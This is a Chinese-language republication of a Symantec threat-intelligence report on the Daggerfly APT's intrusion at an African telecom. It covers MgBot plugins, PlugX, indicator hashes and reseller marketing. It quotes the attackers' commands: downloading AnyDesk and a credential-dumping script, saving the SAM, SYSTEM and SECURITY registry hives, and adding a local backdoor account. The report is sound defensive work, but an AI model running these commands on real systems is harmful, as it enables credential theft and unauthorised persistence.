Daggerfly：APT 攻擊針對非洲電信業者

2023 年 4 月 20 日發布｜威脅情報

威脅獵手團隊
賽門鐵克

最近的活動中部署了新的 MgBot 惡意軟體框架附加元件

最近，Daggerfly (又稱為Evasive Panda、Bronze Highland) 進階持續性威脅 (APT) 組織的最新攻擊目標之一似乎是非洲的一家電信公司，該組織最近攻擊活動使用 MgBot 惡意軟體框架中以前從未被發現的附加元件。

該受害者的網路上第一個惡意活動跡象是在 2022 年 11 月被發現，但有跡象顯示活動可能仍在進行中。賽門鐵克威脅獵人團隊的研究人員，在受害者的網路上發現多個與 MgBot 模組化惡意軟體框架相關的獨特附加元件。攻擊者還被發現使用 PlugX 載入器和濫用合法的 AnyDesk 遠端桌面軟體。MgBot 模組化惡意軟體框架和 PlugX 載入器在過去已經被證實與中國相關的 APT 有關。

部分活動細節與 2020 年 Malwarebytes 部落格的 Evasive Panda 相關內容有所重疊，因此認為這個活動與 Daggerfly 有關聯。其中一些交叉點包括：

- 在兩個活動中都發現了MgBot 其中之一樣本
- 兩個活動都有在 ProgramDataMicrosoftPlayReady 目錄中重新命名 Rundll32.exe 為 "dbengin.exe" 的檔案
- 在 csidl_common_appdatamicrosoftplayreadymdie942.tmp 目錄中的 DLL 載入器 "pMsrvd.dll" 出現在兩個活動中

最近的活動所使用的資料夾和檔案名稱，以及 DLL 側載的使用，也支持這次的歸屬。Malwarebytes 在 2020 年記錄的活動，且 Daggerfly 自 2014 年以來被認為一直活躍中。

攻擊鏈

2022 年 11 月，在 Microsoft Exchange 郵件伺服器上發現可疑的 AnyDesk 連線，這是針對最近 Daggerfly 活動的受害網路中可疑活動的最早跡象之一。AnyDesk 是一款合法的遠端桌面軟體，但常被威脅攻擊者濫用以進行遠端存取等活動。

同一台 Exchange 伺服器也發現 WannaMine 加密貨幣挖礦惡意軟體，不過這個活動似乎與 Daggerfly 組織無關。然而，WannaMine 的存在表示該伺服器可能未安裝最新的補丁，容易受到 EternalBlue 攻擊，以及其他針對該網頁伺服器的漏洞利用。

在攻擊鏈中，攻擊者還使用合法的免費 Rising 防病毒軟體來側載 PlugX 載入器到受害電腦上。

下面我們將更詳細地介紹這個攻擊鏈。

檔案下載

攻擊者使用了就地取材工具 BITSAdmin 和 PowerShell，將檔案下載到受害系統上。這些攻擊者是透過此方式下載合法的 AnyDesk 執行檔和 GetCredManCreds 工具。

攻擊者使用指令將遠端桌面存取工具下載到受害機器上

```
bitsadmin /transfer d7d3 https://download.anydesk.com/AnyDesk.exe CSIDL_COMMON_APPDATAanydesk.exe "CSIDL_SYSTEMwindowspowershellv1.0powershell.exe" Invoke-WebRequest -Uri https://download.anydesk.com/AnyDesk.exe -OutFile CSIDL_COMMON_APPDATAanydesk.exe
```

憑證傾印

攻擊者使用之前下載的 GetCredManCreds 腳本透過 PowerShell 從憑證管理員中擷取儲存在網路服務的使用者名稱和密碼。

攻擊者使用指令將憑證傾印工具下載到受害機器上

```
"CSIDL_SYSTEMwindowspowershellv1.0powershell.exe" Invoke-WebRequest -Uri https://raw.githubusercontent.com/VimalShekar/PowerShell/master/GetCredmanCreds.ps1 -OutFile CSIDL_COMMON_APPDATAa.ps1
```

攻擊者也使用 reg.exe 工具轉存了 Windows 註冊表的 SAM（安全帳戶管理員）、系統和安全設定單元。這讓攻擊者能夠從 SAM 資料庫中提取憑證。

攻擊者用來竊取憑證的指令

```
"CSIDL_SYSTEMreg.exe" save hklmsam sam.save
"CSIDL_SYSTEMreg.exe" save hklmsystem system.save
"CSIDL_SYSTEMreg.exe" save hklmsecurity security.save
```

使用本機帳號維持後續存取

Daggerfly 也使用以下指令建立本機帳號，以維持對受害者系統的存取：

```
"CSIDL_SYSTEMnet.exe" user [REDACTED] Pqssword1 /add
```

MgBot 模組化惡意軟體框架

MgBot 是一個設計精良、具有模組化架構且經常維護的框架，其元件包括以下內容：

- MgBot EXE dropper
- MgBot DLL Loader
- MgBot Plugins

在此次攻擊中部署的 MgBot 附加元件具有多種功能，可提供攻擊者大量有關被入侵機器的資訊。其中在此次活動中部署的獨特附加元件包括：

- 網路掃描器--innocence.dll
  - 其功能包括：ARP 掃描、HTTP 掃描，以及確定目標主機正在執行的伺服器類型（例如 SQL、WebLogic、Redis 等）。
- 能夠從 Chrome 和 Firefox 瀏覽器中收集書籤和瀏覽歷史等資訊的資訊竊取程式--bkmk.dll
- 記錄模組--famdowm.dll
  - 使用 open-source 的 easylogging++ 為基礎，可以執行基本的記錄、追蹤效能等功能。
- QQ訊息竊取器--qmsdp.dll
  - 根據這篇部落格，介紹了駭客如何破解聊天工具的訊息資料庫。
- Active Directory 物件列舉--ceeeb.dll
  - 從 Active Directory 收集以下訊息：
    - 成員資訊
    - 電腦
    - 本機管理員
    - 遠端桌面使用者
    - DCOM使用者
- 密碼傾印程式--cpfwplgx.dll
  - 注入一個檔案用來呼叫 MiniDumpWriteDump API 以轉存某個程序在記憶體上的內容。
- QQ 鍵盤記錄程式--kstrcs.dll
  - 針對 QQEdit.exe 和 QQ.exe 程序的鍵盤記錄器。
- 螢幕與剪貼簿擷取程式--cbmrpa.dll
  - 擷取剪貼簿和拖放資料並將其保存到檔案中。
- Outlook 和 Foxmail 憑證竊取程序--maillfpassword.dll
- 音訊擷取--prsm.dll
  - 從受感染的系統中擷取音訊。
  - 使用 COM 物件 IMMDeviceEnumerator、IAudioCaptureClient。
- 程序看門狗--ansecprocesskeep.dll

- AnsecProcessKeep註冊為服務 。
- 確認程序保持執行的看門狗。
- 程序名稱可在 .ini 檔中找到。

所有這些功能都可以讓攻擊者從受害機器上收集大量資訊。這些附加元件的功能還顯示，攻擊者在此活動中的主要目標是收集訊息。

Daggerfly 開發這些前所未見的附加元件，顯示該攻擊組織正在繼續積極開發其惡意軟體及其可用於攻擊受害者網路的工具。

趨勢的延續

電信公司始終是情報收集行動中的主要目標，因為它們可以潛在地提供對終端用戶通信的存取權限。

賽門鐵克的威脅獵人團隊也發現其他一些針對電信公司的最近活動，這些活動與威脅攻擊者 Othorene（又名Gallium）聯結在一起較為可信，似乎是 SentinelOne 於三月首次被披露代號為 "Tainted Love" 的情報收集行動的延續。SentinelOne 報告指出，在該行動中，Othorene 的目標是中東的電信公司。電信公司因其潛在提供對最終用戶通訊的存取權限，將一直是情報收集行動中的主要目標。

Othorene 自 2014 年左右開始活躍，被認為是一個相對小型、強調對個人進行監視的團體。有跡象顯示 Othorene 可能與 APT41（又名Blackfly、Grayfly）APT 組織有關聯。在中國 APT 組織之間，人員和戰術、技術和程序（TTP）的重疊並不罕見，這也意味著很難有把握將它歸屬於一個特定團體。

賽門鐵克發現的活動顯示，該攻擊與 SentinelOne 詳細介紹的同一攻擊活動有三個額外的受害者，分佈在亞洲和非洲地區。其中三個受害者中，有兩個是同一家中東電信公司的子公司。攻擊者自 2022 年 11 月以來一直在這些受害者的網路上活躍。賽門鐵克觀察到攻擊者傾印憑證並使用 NbtScan 掃描網路。

此次攻擊活動的主要惡意軟體 (pc.exe，也被稱為 mim221) 主要用於轉存憑證。而且，它與 SentinelOne 記錄的活動中使用的惡意軟體有相同的密碼。攻擊者在受害者的網路中進行橫向移動，使用預定的工作排程實現持續性，並從註冊表轉存 SAM 和 System 內容。有跡象顯示，攻擊者可能已經在受害者機器上匯出 Active Directory 資料庫，並且他們還能夠存取網域控制器，進而深入存取受害者網路。

防護方案／緩解措施

有關最新的防護更新，請訪問賽門鐵克原廠最新的防護公告 (Protection Bulletins)。

入侵指標 (IOCs)

如果 IOC 是惡意的且檔案可提供給我們，Symantec Endpoint 產品將檢測並攔截該檔案。

檔案跡象--Daggerfly

MgBot Dropper

c89316e87c5761e0fc50db1214beb32a08c73d2cad9df8c678c8e44ed66c1dab
90e15eaf6385b41fcbf021ecbd8d86b8c31ba48c2c5c3d1edb8851896f4f72fe

MgBot--aasrvd.dll, pmsrvd.dll

706c9030c2fa5eb758fa2113df3a7e79257808b3e79e46869d1bf279ed488c36
017187a1b6d58c69d90d81055db031f1a7569a3b95743679b21e44ea82cfb6c7

MgBot 附加元件

cb8aede4ad660adc1c78a513e7d5724cac8073bea9d6a77cf3b04b019395979a
2dcf9e556332da2a17a44dfceda5e2421c88168aafea73e2811d65e9521c715c
a6ed16244a5b965f0e0b84b21dcc6f51ad1e413dc2ad243a6f5853cd9ac8da0b
ee6a3331c6b8f3f955def71a6c7c97bf86ddf4ce3e75a63ea4e9cd6e20701024
585db6ab2f7b452091ddb29de519485027665335afcdb34957ff1425ecc3ec4b
29df6c3f7d13b259b3bc5d56f2cdd14782021fc5f9597a3ccece51ffac2010a0
ea2be3d0217a2efeb06c93e32f489a 457bdea154fb4a900f26bef83e2053f4fd
54198678b98c2094e74159d7456dd74d12ab4244e1d9376d8f4d864f6237cd79
d9eec27bf827669cf13bfdb7be3fdb0fdf05a26d5b74adecaf2f0a48105ae934
cb7d9feda7d8ebfba93ec428d5a8a4382bf58e5a70e4b51eb1938d2691d5d4a5
2c0cfe2f4f1e7539b4700e1205411ec084cbc574f9e4710ecd4733fbf0f8a7dc
a16a70b0a1ac0718149a31c780edb126379a0d375d9f6007a6def3141bec6810
0bcdcc0515d30c28017fd7931b8a787feebe9ee3819aa2b758ce915b8ba40f99

PlugX 載入程序 -- proccom.dll、djcu.dll

c31b409b1fe9b6387b03f7aedeafd3721b4ec6d6011da671df49e241394da154
db489e9760da2ed362476c4e0e9ddd6e275a84391542a6966dbcda0261b3f30a
632cd9067fb32ac8fbbe93eb134e58bd99601c8690f97ca53e8e17dda5d44e0e

DumpCredStore -- dumpcredstore.ps1, a.ps1

c1e91a5f9cc23f3626326dab2dcdf4904e6f8a332e2bce8b9a0854b371c2b350
5a0976fef89e32ddcf62c790f9bb4c174a79004e627c3521604f46bf5cc7bea2

AnyDesk -- anydesk.exe

7bcff667ab676c8f4f434d14cfc7949e596ca42613c757752330e07c5ea2a453

檔案跡象 -- Othorene

3f75818e2e43a744980254bfdc1225e7743689b378081c560e824a36e0e0a195 - pc.exe, rpc.exe (主要的惡意程式)
1b8500e27edc87464b8e5786dc8c2beed9a8c6e58b82e50280cebb7f233bcde4 - get.exe (用於印出 Syskey 和 Samkey)
03bc62bd9a681bdcb85db33a08b6f2b41f853de84aa237ae7216432a6f8f817e - pc.dll
ae39ced76c78e7c2043b813718e3cd610e1a8adac1f9ad5e69cf06bd6e38a5bd - pc.dll
f6f6152db941a03e1f45d52ab55a2e3d774015ccb8828533654e3f3161cfcd21 - pc.exe
2f4a97dc70f06e0235796fec6393579999c224e144adcff908e0c681c123a8a2 - pc.dll
22069984cba22be84fe33a886d989b683de6eb09f001670dbd8c1b605460d454 - pc.dll
7b945fb1bdeb27a35fab7c2e0f5f45e0e64df7821dd1417a77922c9b08acfdc3 - rpc.dll
e8be3e40f79981a1c29c15992da116ea969ab5a15dc514479871a50b20b10158 - pc.dl
b5c46c2604e29e24c6eb373a7287d919da5c18c04572021f20b8e1966b86d585 - rpc.dll
53d2506723f4d69afca33e90142833b132ed11dd0766192a087cb206840f3692 - test.exe
26d129aaa4f0f830a7a20fe6317ee4a254b9caac52730b6fed6c482be4a5c79d - g.dll
b45355c8b84b57ae015ad0aebfa8707be3f33e12731f7f8c282c8ee51f962292 - g.dll
17dce65529069529bcb5ced04721d641bf6d7a7ac61d43aaf1bca2f6e08ead56 - getHashFlsa64.dll
98b6992749819d0a34a196768c6c0d43b100ef754194308eae6aaa90352e2c13 - getHashFlsa64.dll
6d5be3e6939a7c86280044eebe71c566b48981a3341193aa3aff634a3a5d1bbd - getHashFlsa64.dll
1cf04c3e8349171d907b911bc2a23bdb544d88e2f9b8fcc516d8bcf68168aede - getHashFlsa64.dll

原廠網址：https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt-attacks-telecoms-africa-mgbot
本文件由保安資訊有限公司專業細心整理後提供。如有遺誤、更新或異動均以上Symantec原廠公告為準，請知悉。2023/4

關於作者

威脅獵手團隊
賽門鐵克

威脅獵手 (Threat Hunter) 團隊是賽門鐵克內部的一群安全專家，其任務是調查有針對性的攻擊，推動賽門鐵克產品的增強保護，並提供分析以幫助客戶應對攻擊。

關於賽門鐵克 (Symantec)

賽門鐵克 (Symantec) 已於 2019/11 併入全球網通晶片巨擘--博通 (BroadCom，美國股市代號 AVGO，全世界網際網路流量有 99.9% 經過博通的網通晶片) 軟體事業部的企業安全部門 (SED)，特別是近年以半導體的嚴謹、系統化以及零錯誤思維來改造核心技術、管理框架以及整合最完整的資安生態體系，讓賽門鐵克的解決方案在穩定性、相容性、有效性以及資安生態系整合擴充性，有著脫胎換骨並超越業界的長足進步。博通 (Broadcom) 是務實的完美主義者，致力於追求卓越、關注細節並且有系統和紀律地投入科技創新與嚴謹工藝，同時也大大降低交易複雜性。Symantec 持續創新的技術能為日新月異的資安問題提供更好的解決方案，近三年 Symantec 很少出現在由公關機制產生的頭版文章中，而且在全球前兩千大企業的市佔率及營收成長均遠遠高於併入博通之前，增長幅度也領先其他競爭對手，是科技創新驅動的解決方案非常穩健可靠深受大型企業信賴的實證，也顯示大型企業顧客對轉型中的新賽門鐵克未來充滿信心。(美籍華人王嘉廉創辦的企業軟體公司，組合國際電腦（CA Technologies）以及雲端運算及「硬體虛擬化」的領導廠商--VMware， 也是博通軟體事業部的成員)。2021 年八月，因應國外發動的針對性攻擊日益嚴重，美國網路安全暨基礎架構安全管理署（CISA）宣布聯合民間科技公司，發展全國性聯合防禦計畫 JCDC(Joint Cyber Defense Collaborative)，而博通賽門鐵克是首輪被徵招的一線廠商，如就地緣政治考量，Symantec 也絕對是最安全的資安廠商。擁有更強大資源與技術為後盾的賽門鐵克已更專注於整合各種最新科技於既有領先業界的端點、郵件、網頁以及身分認證等安全解決方案。

關於保安資訊 www.savetime.com.tw

保安資訊團隊是台灣第一家專注在賽門鐵克解決方案的技術型領導廠商，被業界公認為賽門鐵克解決方案專家。自 1995 年起就全心全力於賽門鐵克資訊安全解決方案的技術支援、銷售、規劃與整合、教育訓練、顧問服務，特別是提供企業 IT 專業人員的知識傳承 (Knowledge Transfer)、協助顧客符合邏輯地解決資安問題本質的效益上，以及基於比原廠更孰悉用戶環境的優勢能提供更快速有效的技術支援回應，深獲許多中大型企業與組織的信賴，長期合作的意願與滿意度極高。保安資訊連絡電話：**0800-381-500**。